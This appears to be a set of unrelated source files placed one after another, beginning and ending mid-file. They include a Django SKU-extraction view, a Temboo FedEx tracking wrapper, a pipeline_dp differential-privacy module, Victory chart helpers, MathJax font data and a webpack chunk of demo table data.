Exception('invalid db handler') dict_rst = get_acct_info(request, kwargs, o_sv_db) context['s_brand_name'] = dict_rst['dict_ret']['s_brand_name'] # for global navigation context['lst_owned_acct'] = dict_rst['dict_ret']['lst_owned_acct'] # for global navigation # retrieve sku info lst_sku_rst = o_sv_db.executeQuery('getEdiSkuNameAll', self.request.user.pk) if len(lst_sku_rst) == 0: dict_context = {'err_msg': 'no SKUs to extract'} return render(request, "svtransform/extract_deny.html", context=dict_context) # translate mart_id to mart_name dict_hyper_mart_type = HyperMartType.get_dict_by_idx() lst_mart_type_converted_sku = [] for dict_sku in lst_sku_rst: lst_mart_type_converted_sku.append({'id': dict_sku['id'], 'item_name': dict_sku['item_name'], 'brand_id': dict_sku['brand_id'], 'mart_name': dict_hyper_mart_type[dict_sku['mart_id']]}) del lst_sku_rst # retrieve brand info lst_brand_rst = [] for dict_single_brand in dict_rst['dict_ret']['lst_brand_by_cur_acct']: lst_brand_rst.append({'id': dict_single_brand['n_brand_id'], 'brand_name': dict_single_brand['s_brand_ttl']}) context['lst_brand'] = lst_brand_rst # group skus by brand from collections import defaultdict dict_sku_by_brand = defaultdict(list) for dict_brand in lst_brand_rst: for dict_sku in lst_mart_type_converted_sku: if dict_sku['brand_id'] == dict_brand['id']: dict_sku_by_brand[dict_brand['id']].append(dict_sku) # 전체 SKU 리스트에서 브랜드 속한 SKU를 제거함 for n_brand_id, lst_skus in dict_sku_by_brand.items(): for dict_sku in lst_skus: del lst_mart_type_converted_sku[lst_mart_type_converted_sku.index(dict_sku)] context['lst_non_brand_skus'] = lst_mart_type_converted_sku context['dict_sku_by_brand'] = dict(dict_sku_by_brand) return render(request, "svtransform/extract_select.html", context=context) else: dict_context = {'err_msg': 'no access right'} return render(request, "svtransform/extract_deny.html", context=dict_context) def post(self, request, *args, **kwargs): # celery -A svcommon worker -l INFO <- activate celery server o_sv_db = SvSqlAccess() if not o_sv_db: raise Exception('invalid db handler') dict_rst = get_acct_info(request, kwargs, o_sv_db) dict_context = {'n_brand_id': dict_rst['dict_ret']['n_brand_id'], 'duration': None, 'err_msg': None} s_period_start = request.POST.get('id_extract_period_start') s_period_end = request.POST.get('id_extract_period_end') if len(s_period_start) > 0 and len(s_period_end) > 0: try: datetime.strptime(s_period_start, '%Y%m%d') except ValueError: dict_context['err_msg'] = 'invalid start period' return render(request, "svtransform/extract_deny.html", context=dict_context) try: datetime.strptime(s_period_end, '%Y%m%d') except ValueError: dict_context['err_msg'] = 'invalid end period' return render(request, "svtransform/extract_deny.html", context=dict_context) lst_edi_sku_id = [] n_sv_brand_id = dict_rst['dict_ret']['n_brand_id'] lst_sku_rst = o_sv_db.executeQuery('getEdiSkuByBrandId', n_sv_brand_id) if len(lst_sku_rst) == 0: dict_context['err_msg'] = 'no EDI SKUs selected' return render(request, "svtransform/extract_deny.html", context=dict_context) for dict_sku in lst_sku_rst: # connect sku IDs to brand group lst_edi_sku_id.append(str(dict_sku['id'])) del lst_sku_rst del o_sv_db dict_extraction_option = {'debug_mode': False, 'google_data_studio_edi': False, 'excel_pivot': False, 'aws_quicksight': False, 'oracle_analytics_cloud': False} if request.POST.get('id_extract_debug'): dict_extraction_option['debug_mode'] = True if request.POST.get('id_extract_excel_pivot'): dict_extraction_option['excel_pivot'] = True if request.POST.get('id_google_data_studio_edi'): dict_extraction_option['google_data_studio_edi'] = True if request.POST.get('id_extract_aws_quicksight'): dict_extraction_option['aws_quicksight'] = True if request.POST.get('id_extract_oac'): dict_extraction_option['oracle_analytics_cloud'] = True dict_param = { 's_tbl_prefix': dict_rst['dict_ret']['s_tbl_prefix'], 'n_owner_id': request.user.id, # TODO: change to n_sv_acct_id 'n_brand_id': n_sv_brand_id, 's_extract_filename_prefix': request.POST.get('extract_filename_prefix'), 's_req_sku_set': ','.join(lst_edi_sku_id), 'b_excel_pivot': dict_extraction_option['excel_pivot'], 'b_google_data_studio_edi': dict_extraction_option['google_data_studio_edi'], 'b_aws_quicksight': dict_extraction_option['aws_quicksight'], 'b_oracle_analytics_cloud': dict_extraction_option['oracle_analytics_cloud'], 'b_debug_mode': dict_extraction_option['debug_mode'], 's_period_start': s_period_start, 's_period_end': s_period_end } # TODO: 페이지 새로고침 눌러도 중복 실행되지 않도록 해야 함 from .tasks import extract_edi_file extract_edi_file.apply_async([dict_param], queue='celery', priority=10) # , countdown=10) # for ExtractDb tester # from .tasks import ExtractDb # o_extractor = ExtractDb() # o_extractor.initialize(dict_param) # o_extractor.clear() dict_context['duration'] = '33min 28sec' return render(request, "svtransform/extract_on_progress.html", context=dict_context) class ConcatenateSkuIntoBrand(LoginRequiredMixin, TemplateView): template_name = None def post(self, request): import json from django.shortcuts import HttpResponse # template에서 ajax.POST로 전달 s_req_mode = request.POST.get('req_mode', None) print(s_req_mode + ' launched') # 지워야 함. # context를 json 타입으로 context = {'b_success': 0, # false 'message': '통신 실패', 'href': ''} if not request.user.is_authenticated: context['message'] = 'you re not logged in.' return HttpResponse(json.dumps(context), content_type="application/json") # from svcommon.sv_sql_raw import SvSqlAccess # o_svdb = SvSqlAccess() # o_svdb.set_tbl_prefix(request.user.analytical_namespace) # o_svdb.set_app_name(__name__) # o_svdb.initialize() o_sv_db = SvSqlAccess() if not o_sv_db: raise Exception('invalid db handler') n_brand_id = request.POST.get('brand_id', None) # request.POST['pk_upload_file'] dict_kwargs = {'sv_brand_id': int(n_brand_id)} dict_rst = get_acct_info(request, dict_kwargs, o_sv_db) del dict_kwargs context['s_brand_name'] = dict_rst['dict_ret']['s_brand_name'] # for global navigation context['lst_owned_acct'] = dict_rst['dict_ret']['lst_owned_acct'] # for global navigation # finally, do request if s_req_mode == 'invite_sku': lst_sku_id = request.POST.getlist('sku_id[]', None) # need [] if array transmitted via ajax for n_sku_id in lst_sku_id: o_sv_db.executeQuery('updateBrandId', n_brand_id, n_sku_id) def get_acct_info(request, kwargs, o_db=None): dict_rst = {'b_error': False, 's_msg': None, 'dict_ret': None} dict_owned_brand = get_owned_brand_list(request, kwargs) s_tbl_prefix = None n_acct_id = None n_brand_id = None s_brand_name = None lst_owned_acct = [] lst_brand_by_cur_acct = [] for _, dict_single_acct in dict_owned_brand.items(): lst_owned_acct.append({'n_acct_id': dict_single_acct['n_acct_id'], 's_acct_ttl': dict_single_acct['s_acct_ttl'], 'n_rep_brand_id': dict_single_acct['lst_brand'][0]['n_brand_id']}) for dict_single_brand in dict_single_acct['lst_brand']: if dict_single_brand['b_current_brand']: lst_brand_by_cur_acct += dict_single_acct['lst_brand'] n_acct_id = dict_single_acct['n_acct_id'] s_tbl_prefix = str(n_acct_id) n_brand_id = dict_single_brand['n_brand_id'] s_brand_name = dict_single_brand['s_brand_ttl'] break if not s_tbl_prefix or not n_brand_id: dict_rst['b_error'] = True dict_rst['s_msg'] = 'not allowed brand' return dict_rst if o_db: o_db.set_tbl_prefix(s_tbl_prefix) o_db.set_app_name(__name__) o_db.initialize() o_db.set_reserved_tag_value({'brand_id': n_brand_id}) dict_rst['s_msg'] = 'success' dict_rst['dict_ret'] = {'n_acct_id': n_acct_id, 'n_brand_id': n_brand_id, 's_brand_name': s_brand_name, 's_tbl_prefix': s_tbl_prefix, 'lst_owned_acct': lst_owned_acct, 'lst_brand_by_cur_acct': lst_brand_by_cur_acct} return dict_rst
# -*- coding: utf-8 -*- ############################################################################### # # TrackByReference # Retrieves shipment information for a specified reference number. # # Python versions 2.6, 2.7, 3.x # # Copyright 2014, Temboo Inc. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, # software distributed under the License is distributed on an # "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, # either express or implied. See the License for the specific # language governing permissions and limitations under the License. # # ############################################################################### from temboo.core.choreography import Choreography from temboo.core.choreography import InputSet from temboo.core.choreography import ResultSet from temboo.core.choreography import ChoreographyExecution import json class TrackByReference(Choreography): def __init__(self, temboo_session): """ Create a new instance of the TrackByReference Choreo. A TembooSession object, containing a valid set of Temboo credentials, must be supplied. """ super(TrackByReference, self).__init__(temboo_session, '/Library/FedEx/TrackingAndVisibility/TrackByReference') def new_input_set(self): return TrackByReferenceInputSet() def _make_result_set(self, result, path): return TrackByReferenceResultSet(result, path) def _make_execution(self, session, exec_id, path): return TrackByReferenceChoreographyExecution(session, exec_id, path) class TrackByReferenceInputSet(InputSet): """ An InputSet with methods appropriate for specifying the inputs to the TrackByReference Choreo. The InputSet object is used to specify input parameters when executing this Choreo. """ def set_AccountNumber(self, value): """ Set the value of the AccountNumber input for this Choreo. ((required, string) Your FedEx Account Number or Test Account Number.) """ super(TrackByReferenceInputSet, self)._set_input('AccountNumber', value) def set_AuthenticationKey(self, value): """ Set the value of the AuthenticationKey input for this Choreo. ((required, string) The Production Authentication Key or Development Test Key provided by FedEx Web Services.) """ super(TrackByReferenceInputSet, self)._set_input('AuthenticationKey', value) def set_City(self, value): """ Set the value of the City input for this Choreo. ((optional, string) The destination city.) """ super(TrackByReferenceInputSet, self)._set_input('City', value) def set_CountryCode(self, value): """ Set the value of the CountryCode input for this Choreo. ((conditional, string) The country code associated with the shipment destination (e.g., US). Required unless specifying the ShipmentAccountNumber.) """ super(TrackByReferenceInputSet, self)._set_input('CountryCode', value) def set_Endpoint(self, value): """ Set the value of the Endpoint input for this Choreo. ((conditional, string) Set to "test" to direct requests to the FedEx test environment. Defaults to "production" indicating that requests are sent to the production URL.) """ super(TrackByReferenceInputSet, self)._set_input('Endpoint', value) def set_MeterNumber(self, value): """ Set the value of the MeterNumber input for this Choreo. ((required, string) The Production or Test Meter Number provided by FedEx Web Services.) """ super(TrackByReferenceInputSet, self)._set_input('MeterNumber', value) def set_OperatingCompany(self, value): """ Set the value of the OperatingCompany input for this Choreo. ((required, string) Identification for a fedex operating company (e.g., fedex_express, fedex_freight, fedex_ground). See Choreo notes for allowed values.) """ super(TrackByReferenceInputSet, self)._set_input('OperatingCompany', value) def set_Password(self, value): """ Set the value of the Password input for this Choreo. ((required, password) The Production or Test Password provided by FedEx Web Services.) """ super(TrackByReferenceInputSet, self)._set_input('Password', value) def set_PostalCode(self, value): """ Set the value of the PostalCode input for this Choreo. ((conditional, string) The postal code associated with the shipment destination. Required unless specifying the ShipmentAccountNumber.) """ super(TrackByReferenceInputSet, self)._set_input('PostalCode', value) def set_Reference(self, value): """ Set the value of the Reference input for this Choreo. ((required, string) A reference number for tracking the shipment.) """ super(TrackByReferenceInputSet, self)._set_input('Reference', value) def set_ResponseFormat(self, value): """ Set the value of the ResponseFormat input for this Choreo. ((optional, string) The format that the response should be in. Valid values are "xml" (the default) and "json".) """ super(TrackByReferenceInputSet, self)._set_input('ResponseFormat', value) def set_ShipDateRangeBegin(self, value): """ Set the value of the ShipDateRangeBegin input for this Choreo. ((optional, date) Specifies the beginning of a date range used to narrow the search to a period in time. Dates should be formatted as YYYY-MM-DD.) """ super(TrackByReferenceInputSet, self)._set_input('ShipDateRangeBegin', value) def set_ShipDateRangeEnd(self, value): """ Set the value of the ShipDateRangeEnd input for this Choreo. ((optional, date) Specifies the beginning of a date range used to narrow the search to a period in time. Dates should be formatted as YYYY-MM-DD.) """ super(TrackByReferenceInputSet, self)._set_input('ShipDateRangeEnd', value) def set_ShipmentAccountNumber(self, value): """ Set the value of the ShipmentAccountNumber input for this Choreo. ((conditional, string) The shipment account number. Required unless specifying the PostalCode and CountryCode.) """ super(TrackByReferenceInputSet, self)._set_input('ShipmentAccountNumber', value) def set_State(self, value): """ Set the value of the State input for this Choreo. ((optional, string) Identifying abbreviation for US state, Canada province of the shipment destination (e.g., NY).) """ super(TrackByReferenceInputSet, self)._set_input('State', value) def set_Street(self, value): """ Set the value of the Street input for this Choreo. ((optional, string) The street number and street name for the shipment destination (e.g., 350 5th Ave).) """ super(TrackByReferenceInputSet, self)._set_input('Street', value) class TrackByReferenceResultSet(ResultSet): """ A ResultSet with methods tailored to the values returned by the TrackByReference Choreo. The ResultSet object is used to retrieve the results of a Choreo execution. """ def getJSONFromString(self, str): return json.loads(str) def get_Response(self): """ Retrieve the value for the "Response" output from this Choreo execution. (The response from FedEx.) """ return self._output.get('Response', None) class TrackByReferenceChoreographyExecution(ChoreographyExecution): def _make_result_set(self, response, path): return TrackByReferenceResultSet(response, path)
export default "M19 12V13.5C21.21 13.5 23 15.29 23 17.5C23 18.32 22.75 19.08 22.33 19.71L21.24 18.62C21.41 18.28 21.5 17.9 21.5 17.5C21.5 16.12 20.38 15 19 15V16.5L16.75 14.25L16.72 14.22C16.78 14.17 16.85 14.13 19 12M19 23V21.5C16.79 21.5 15 19.71 15 17.5C15 16.68 15.25 15.92 15.67 15.29L16.76 16.38C16.59 16.72 16.5 17.1 16.5 17.5C16.5 18.88 17.62 20 19 20V18.5L21.25 20.75L21.28 20.78C21.22 20.83 21.15 20.87 19 23M13.03 18H6C3.79 18 2 16.21 2 14S3.79 10 6 10H6.71C7.37 7.69 9.5 6 12 6C15 6 17.4 8.37 17.5 11.32C18.12 11.11 18.8 11 19.5 11C20.78 11 21.97 11.38 23 12C22.13 10.9 20.84 10.14 19.35 10.03C18.67 6.59 15.64 4 12 4C9.11 4 6.6 5.64 5.35 8.03C2.34 8.36 0 10.9 0 14C0 17.31 2.69 20 6 20H13.5C13.24 19.38 13.08 18.7 13.03 18Z"
"use strict"; var __decorate = (this && this.__decorate) || function (decorators, target, key, desc) { var c = arguments.length, r = c < 3 ? target : desc === null ? desc = Object.getOwnPropertyDescriptor(target, key) : desc, d; if (typeof Reflect === "object" && typeof Reflect.decorate === "function") r = Reflect.decorate(decorators, target, key, desc); else for (var i = decorators.length - 1; i >= 0; i--) if (d = decorators[i]) r = (c < 3 ? d(r) : c > 3 ? d(target, key, r) : d(target, key)) || r; return c > 3 && r && Object.defineProperty(target, key, r), r; }; Object.defineProperty(exports, "__esModule", { value: true }); exports.SampleService = void 0; const common_1 = require("@nestjs/common"); const dotenv_1 = require("dotenv"); dotenv_1.config(); let SampleService = class SampleService { create(createSampleDto) { return 'This action adds a new sample'; } findAll() { return `This action returns all sample`; } findOne(id) { return `This action returns a #${id} sample`; } update(id, updateSampleDto) { return `This action updates a #${id} sample`; } remove(id) { return `This action removes a #${id} sample`; } }; SampleService = __decorate([ common_1.Injectable() ], SampleService); exports.SampleService = SampleService; //# sourceMappingURL=sample.service.js.map
import React from "react"; import { render } from "react-dom"; import Prism from "prismjs"; import Presentation from "./presentation"; import "prismjs/components/prism-rust"; import "prismjs/themes/prism.css"; window.Prism = Prism; render(<Presentation/>, document.getElementById("root"));
/* * /MathJax-v2/jax/output/HTML-CSS/fonts/TeX/AMS/Regular/SuppMathOperators.js * * Copyright (c) 2009-2018 The MathJax Consortium * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ MathJax.Hub.Insert(MathJax.OutputJax["HTML-CSS"].FONTDATA.FONTS.MathJax_AMS,{10846:[813,97,611,55,555],10877:[636,138,778,83,694],10878:[636,138,778,83,694],10885:[762,290,778,55,722],10886:[762,290,778,55,722],10887:[635,241,778,82,693],10888:[635,241,778,82,693],10889:[761,387,778,57,718],10890:[761,387,778,57,718],10891:[1003,463,778,83,694],10892:[1003,463,778,83,694],10901:[636,138,778,83,694],10902:[636,138,778,83,694],10933:[752,286,778,82,693],10934:[752,286,778,82,693],10935:[761,294,778,57,717],10936:[761,294,778,57,717],10937:[761,337,778,57,718],10938:[761,337,778,57,718],10949:[753,215,778,84,694],10950:[753,215,778,83,694],10955:[783,385,778,82,693],10956:[783,385,778,82,693]});MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].fontDir+"/AMS/Regular/SuppMathOperators.js");
import { assign, isNil } from "lodash"; import { Helpers, LabelHelpers, Data, Domain, Scale, Collection } from "victory-core"; export const getBarPosition = (props, datum) => { const getDefaultMin = (axis) => { const defaultZero = Scale.getType(props.scale[axis]) === "log" ? 1 / Number.MAX_SAFE_INTEGER : 0; let defaultMin = defaultZero; const minY = Collection.getMinValue(props.domain[axis]); const maxY = Collection.getMaxValue(props.domain[axis]); if (minY < 0 && maxY <= 0) { defaultMin = maxY; } else if (minY >= 0 && maxY > 0) { defaultMin = minY; } return datum[`_${axis}`] instanceof Date ? new Date(defaultMin) : defaultMin; }; const _y0 = datum._y0 !== undefined ? datum._y0 : getDefaultMin("y"); const _x0 = datum._x0 !== undefined ? datum._x0 : getDefaultMin("x"); return Helpers.scalePoint(props, assign({}, datum, { _y0, _x0 })); }; const getCalculatedValues = (props) => { const { polar } = props; const defaultStyles = Helpers.getDefaultStyles(props, "bar"); const style = !props.disableInlineStyles ? Helpers.getStyles(props.style, defaultStyles) : {}; const range = props.range || { x: Helpers.getRange(props, "x"), y: Helpers.getRange(props, "y") }; const domain = { x: Domain.getDomainWithZero(props, "x"), y: Domain.getDomainWithZero(props, "y") }; const scale = { x: Scale.getBaseScale(props, "x") .domain(domain.x) .range(props.horizontal ? range.y : range.x), y: Scale.getBaseScale(props, "y") .domain(domain.y) .range(props.horizontal ? range.x : range.y) }; const origin = polar ? props.origin || Helpers.getPolarOrigin(props) : undefined; let data = Data.getData(props); data = Data.formatDataFromDomain(data, domain, 0); return { style, data, scale, domain, origin }; }; export const getBaseProps = (props, fallbackProps) => { const modifiedProps = Helpers.modifyProps(props, fallbackProps, "bar"); props = assign({}, modifiedProps, getCalculatedValues(modifiedProps)); const { alignment, barRatio, cornerRadius, data, disableInlineStyles, domain, events, height, horizontal, origin, padding, polar, scale, sharedEvents, standalone, style, theme, width, labels, name, barWidth, getPath } = props; const initialChildProps = { parent: { horizontal, domain, scale, width, height, data, standalone, name, theme, polar, origin, padding, style: style.parent } }; return data.reduce((childProps, datum, index) => { const eventKey = !isNil(datum.eventKey) ? datum.eventKey : index; const { x, y, y0, x0 } = getBarPosition(props, datum); const dataProps = { alignment, barRatio, barWidth, cornerRadius, data, datum, disableInlineStyles, getPath, horizontal, index, polar, origin, scale, style: style.data, width, height, x, y, y0, x0 }; childProps[eventKey] = { data: dataProps }; const text = LabelHelpers.getText(props, datum, index); if ( (text !== undefined && text !== null) || (labels && (events || sharedEvents)) ) { childProps[eventKey].labels = LabelHelpers.getProps(props, index); } return childProps; }, initialChildProps); };
"""Differential privacy computing of count, sum, mean, variance.""" import numpy as np import pipeline_dp # TODO: import only modules https://google.github.io/styleguide/pyguide.html#22-imports from pipeline_dp.aggregate_params import NoiseKind from dataclasses import dataclass from pydp.algorithms import numerical_mechanisms as dp_mechanisms @dataclass class MeanVarParams: """The parameters used for computing the dp sum, count, mean, variance.""" eps: float delta: float low: float high: float max_partitions_contributed: int max_contributions_per_partition: int noise_kind: NoiseKind # Laplace or Gaussian def l0_sensitivity(self): """"Returns the L0 sensitivity of the parameters.""" return self.max_partitions_contributed def squares_interval(self): """Returns the bounds of the interval [low^2, high^2].""" if self.low < 0 and self.high > 0: return 0, max(self.low**2, self.high**2) return self.low**2, self.high**2 def compute_middle(low: float, high: float): """"Returns the middle point of the interval [low, high].""" return low + (high - low) / 2 def compute_l1_sensitivity(l0_sensitivity: float, linf_sensitivity: float): """Calculates the L1 sensitivity based on the L0 and Linf sensitivities. Args: l0_sensitivity: The L0 sensitivity. linf_sensitivity: The Linf sensitivity. Returns: The L1 sensitivity. """ return l0_sensitivity * linf_sensitivity def compute_l2_sensitivity(l0_sensitivity: float, linf_sensitivity: float): """Calculates the L2 sensitivity based on the L0 and Linf sensitivities. Args: l0_sensitivity: The L0 sensitivity. linf_sensitivity: The Linf sensitivity. Returns: The L2 sensitivity. """ return np.sqrt(l0_sensitivity) * linf_sensitivity def compute_sigma(eps: float, delta: float, l2_sensitivity: float): """Returns the optimal value of sigma for the Gaussian mechanism. Args: eps: The epsilon value. delta: The delta value. l2_sensitivity: The L2 sensitivity. """ # TODO: use named arguments, when argument names are added in PyDP on PR # https://github.com/OpenMined/PyDP/pull/398. return dp_mechanisms.GaussianMechanism(eps, delta, l2_sensitivity).std def apply_laplace_mechanism(value: float, eps: float, l1_sensitivity: float): """Applies the Laplace mechanism to the value. Args: value: The initial value. eps: The epsilon value. l1_sensitivity: The L1 sensitivity. Returns: The value resulted after adding the noise. """ mechanism = dp_mechanisms.LaplaceMechanism(epsilon=eps, sensitivity=l1_sensitivity) return mechanism.add_noise(1.0 * value) def apply_gaussian_mechanism(value: float, eps: float, delta: float, l2_sensitivity: float): """Applies the Gaussian mechanism to the value. Args: value: The initial value. eps: The epsilon value. delta: The delta value. l2_sensitivity: The L2 sensitivity. Returns: The value resulted after adding the noise. """ # TODO: use named arguments, when argument names are added in PyDP on PR # https://github.com/OpenMined/PyDP/pull/398. mechanism = dp_mechanisms.GaussianMechanism(eps, delta, l2_sensitivity) return mechanism.add_noise(1.0 * value) def _add_random_noise( value: float, eps: float, delta: float, l0_sensitivity: float, linf_sensitivity: float, noise_kind: NoiseKind, ): """Adds random noise according to the parameters. Args: value: The initial value. eps: The epsilon value. delta: The delta value. l0_sensitivity: The L0 sensitivity. linf_sensitivity: The Linf sensitivity. noise_kind: The kind of noise used. Returns: The value resulted after adding the random noise. """ if noise_kind == NoiseKind.LAPLACE: l1_sensitivity = compute_l1_sensitivity(l0_sensitivity, linf_sensitivity) return apply_laplace_mechanism(value, eps, l1_sensitivity) if noise_kind == NoiseKind.GAUSSIAN: l2_sensitivity = compute_l2_sensitivity(l0_sensitivity, linf_sensitivity) return apply_gaussian_mechanism(value, eps, delta, l2_sensitivity) raise ValueError("Noise kind must be either Laplace or Gaussian.") @dataclass class AdditiveVectorNoiseParams: eps_per_coordinate: float delta_per_coordinate: float max_norm: float l0_sensitivity: float linf_sensitivity: float norm_kind: pipeline_dp.NormKind noise_kind: NoiseKind def _clip_vector(vec: np.ndarray, max_norm: float, norm_kind: pipeline_dp.NormKind): norm_kind = norm_kind.value # type: str if norm_kind == "linf": return np.clip(vec, -max_norm, max_norm) if norm_kind in {"l1", "l2"}: norm_kind = int(norm_kind[-1]) vec_norm = np.linalg.norm(vec, ord=norm_kind) mul_coef = min(1, max_norm / vec_norm) return vec * mul_coef raise NotImplementedError( f"Vector Norm of kind '{norm_kind}' is not supported.") def add_noise_vector(vec: np.ndarray, noise_params: AdditiveVectorNoiseParams): """Adds noise to vector to make the vector sum computation (eps, delta)-DP. Args: vec: the queried raw vector noise_params: parameters of the noise to add to the computation """ vec = _clip_vector(vec, noise_params.max_norm, noise_params.norm_kind) vec = np.array([ _add_random_noise( s, noise_params.eps_per_coordinate, noise_params.delta_per_coordinate, noise_params.l0_sensitivity, noise_params.linf_sensitivity, noise_params.noise_kind, ) for s in vec ]) return vec def equally_split_budget(eps: float, delta: float, no_mechanisms: int): """Equally splits the budget (eps, delta) between a given number of mechanisms. Args: eps, delta: The available budget. no_mechanisms: The number of mechanisms between which we split the budget. Raises: ValueError: The number of mechanisms must be a positive integer. Returns: An array with the split budgets. """ if no_mechanisms <= 0: raise ValueError("The number of mechanisms must be a positive integer.") # These variables are used to keep track of the budget used. # In this way, we can improve accuracy of floating-point operations. eps_used = delta_used = 0 budgets = [] for _ in range(no_mechanisms - 1): budget = (eps / no_mechanisms, delta / no_mechanisms) eps_used += budget[0] delta_used += budget[1] budgets.append(budget) budgets.append((eps - eps_used, delta - delta_used)) return budgets def compute_dp_count(count: int, dp_params: MeanVarParams): """Computes DP count. Args: count: Non-DP count. dp_params: The parameters used at computing the noise. Raises: ValueError: The noise kind is invalid. """ l0_sensitivity = dp_params.l0_sensitivity() linf_sensitivity = dp_params.max_contributions_per_partition return _add_random_noise( count, dp_params.eps, dp_params.delta, l0_sensitivity, linf_sensitivity, dp_params.noise_kind, ) def compute_dp_sum(sum: float, dp_params: MeanVarParams): """Computes DP sum. Args: sum: Non-DP sum. dp_params: The parameters used at computing the noise. Raises: ValueError: The noise kind is invalid. """ l0_sensitivity = dp_params.l0_sensitivity() linf_sensitivity = dp_params.max_contributions_per_partition * max( abs(dp_params.low), abs(dp_params.high)) return _add_random_noise( sum, dp_params.eps, dp_params.delta, l0_sensitivity, linf_sensitivity, dp_params.noise_kind, ) def _compute_mean( count: float, dp_count: float, sum: float, low: float, high: float, eps: float, delta: float, l0_sensitivity: float, max_contributions_per_partition: float, noise_kind: NoiseKind, ): """Helper function to compute the DP mean of a raw sum using the DP count. Args: count: Non-DP count. dp_count: DP count. sum: Non-DP sum. low, high: The lowest/highest contribution. eps, delta: The budget allocated. l0_sensitivity: The L0 sensitivity. max_contributions_per_partition: The maximum number of contributions per partition. noise_kind: The kind of noise used. Raises: ValueError: The noise kind is invalid. Returns: The anonymized mean. """ middle = compute_middle(low, high) linf_sensitivity = max_contributions_per_partition * abs(middle - low) normalized_sum = sum - count * middle dp_normalized_sum = _add_random_noise(normalized_sum, eps, delta, l0_sensitivity, linf_sensitivity, noise_kind) return dp_normalized_sum / dp_count + middle def compute_dp_mean(count: int, sum: float, dp_params: MeanVarParams): """Computes DP mean. Args: count: Non-DP count. sum: Non-DP sum. dp_params: The parameters used at computing the noise. Raises: ValueError: The noise kind is invalid. Returns: The tuple of anonymized count, sum and mean. """ # Splits the budget equally between the two mechanisms. (count_eps, count_delta), (sum_eps, sum_delta) = equally_split_budget( dp_params.eps, dp_params.delta, 2) l0_sensitivity = dp_params.l0_sensitivity() dp_count = _add_random_noise( count, count_eps, count_delta, l0_sensitivity, dp_params.max_contributions_per_partition, dp_params.noise_kind, ) dp_mean = _compute_mean( count, dp_count, sum, dp_params.low, dp_params.high, sum_eps, sum_delta, l0_sensitivity, dp_params.max_contributions_per_partition, dp_params.noise_kind, ) return dp_count, dp_mean * dp_count, dp_mean def compute_dp_var(count: int, sum: float, sum_squares: float, dp_params: MeanVarParams): """Computes DP variance. Args: count: Non-DP count. sum: Non-DP sum. sum_squares: Non-DP sum of squares. dp_params: The parameters used at computing the noise. Raises: ValueError: The noise kind is invalid. Returns: The tuple of anonymized count, sum, sum_squares and variance. """ # Splits the budget equally between the three mechanisms. ( (count_eps, count_delta), (sum_eps, sum_delta), (sum_squares_eps, sum_squares_delta), ) = equally_split_budget(dp_params.eps, dp_params.delta, 3) l0_sensitivity = dp_params.l0_sensitivity() dp_count = _add_random_noise( count, count_eps, count_delta, l0_sensitivity, dp_params.max_contributions_per_partition, dp_params.noise_kind, ) # Computes and adds noise to the mean. dp_mean = _compute_mean( count, dp_count, sum, dp_params.low, dp_params.high, sum_eps, sum_delta, l0_sensitivity, dp_params.max_contributions_per_partition, dp_params.noise_kind, ) squares_low, squares_high = dp_params.squares_interval() # Computes and adds noise to the mean of squares. dp_mean_squares = _compute_mean(count, dp_count, sum_squares, squares_low, squares_high, sum_squares_eps, sum_squares_delta, l0_sensitivity, dp_params.max_contributions_per_partition, dp_params.noise_kind) dp_var = dp_mean_squares - dp_mean**2 return dp_count, dp_mean * dp_count, dp_mean_squares * dp_count, dp_var
webpackJsonp([0],{"+kAu":function(module,exports,s){"use strict";Object.defineProperty(exports,"__esModule",{value:!0}),exports.default={data:function(){return{multipleSort:!1,tableData:[{name:"赵伟",gender:"男",height:"183",email:"[email protected]",tel:"156*****1987",hobby:"钢琴、书法、唱歌",address:"上海市黄浦区金陵东路569号17楼"},{name:"李伟",gender:"男",height:"166",email:"[email protected]",tel:"182*****1538",hobby:"钢琴、书法、唱歌",address:"上海市奉贤区南桥镇立新路12号2楼"},{name:"孙伟",gender:"女",height:"186",email:"[email protected]",tel:"161*****0097",hobby:"钢琴、书法、唱歌",address:"上海市崇明县城桥镇八一路739号"},{name:"周伟",gender:"女",height:"188",email:"[email protected]",tel:"197*****1123",hobby:"钢琴、书法、唱歌",address:"上海市青浦区青浦镇章浜路24号"},{name:"吴伟",gender:"男",height:"160",email:"[email protected]",tel:"183*****6678",hobby:"钢琴、书法、唱歌",address:"上海市松江区乐都西路867-871号"},{name:"冯伟",gender:"女",height:"168",email:"[email protected]",tel:"133*****3793",hobby:"钢琴、书法、唱歌",address:"上海市金山区龙胜路143号一层"}],columns:[{field:"custome",width:50,titleAlign:"center",columnAlign:"center",formatter:function(s,t){return t<3?'<span style="color:red;font-weight: bold;">'+(t+1)+"</span>":t+1},isFrozen:!0},{field:"name",width:100,columnAlign:"center",isFrozen:!0,isResize:!0},{field:"gender",width:150,columnAlign:"center",isFrozen:!0},{field:"height",width:150,columnAlign:"center",isFrozen:!0},{field:"tel",width:150,columnAlign:"center"},{field:"email",width:200,columnAlign:"center"},{field:"hobby",width:200,columnAlign:"center",isResize:!0},{field:"address",width:330,columnAlign:"left",isResize:!0}],titleRows:[[{fields:["custome"],title:"排序",titleAlign:"center",rowspan:2},{fields:["name","gender","height"],title:"基础信息",titleAlign:"center",colspan:3},{fields:["tel","email"],title:"联系方式",titleAlign:"center",colspan:2},{fields:["hobby","address"],title:"爱好及地址",titleAlign:"center",rowspan:2,colspan:2}],[{fields:["name"],title:"姓名",titleAlign:"center"},{fields:["gender"],title:"性别",titleAlign:"center",orderBy:"asc"},{fields:["height"],title:"身高",titleAlign:"center",orderBy:"desc"},{fields:["tel"],title:"手机号码",titleAlign:"center"},{fields:["email"],title:"邮箱",titleAlign:"center"}],[{fields:["custome","name","gender","height"],title:"平均值",titleAlign:"center",colspan:4,titleCellClassName:"title-cell-class-name-test1"},{fields:["tel"],title:"000",titleAlign:"center",titleCellClassName:"title-cell-class-name-test2"},{fields:["email"],title:"111",titleAlign:"center",titleCellClassName:"title-cell-class-name-test2"}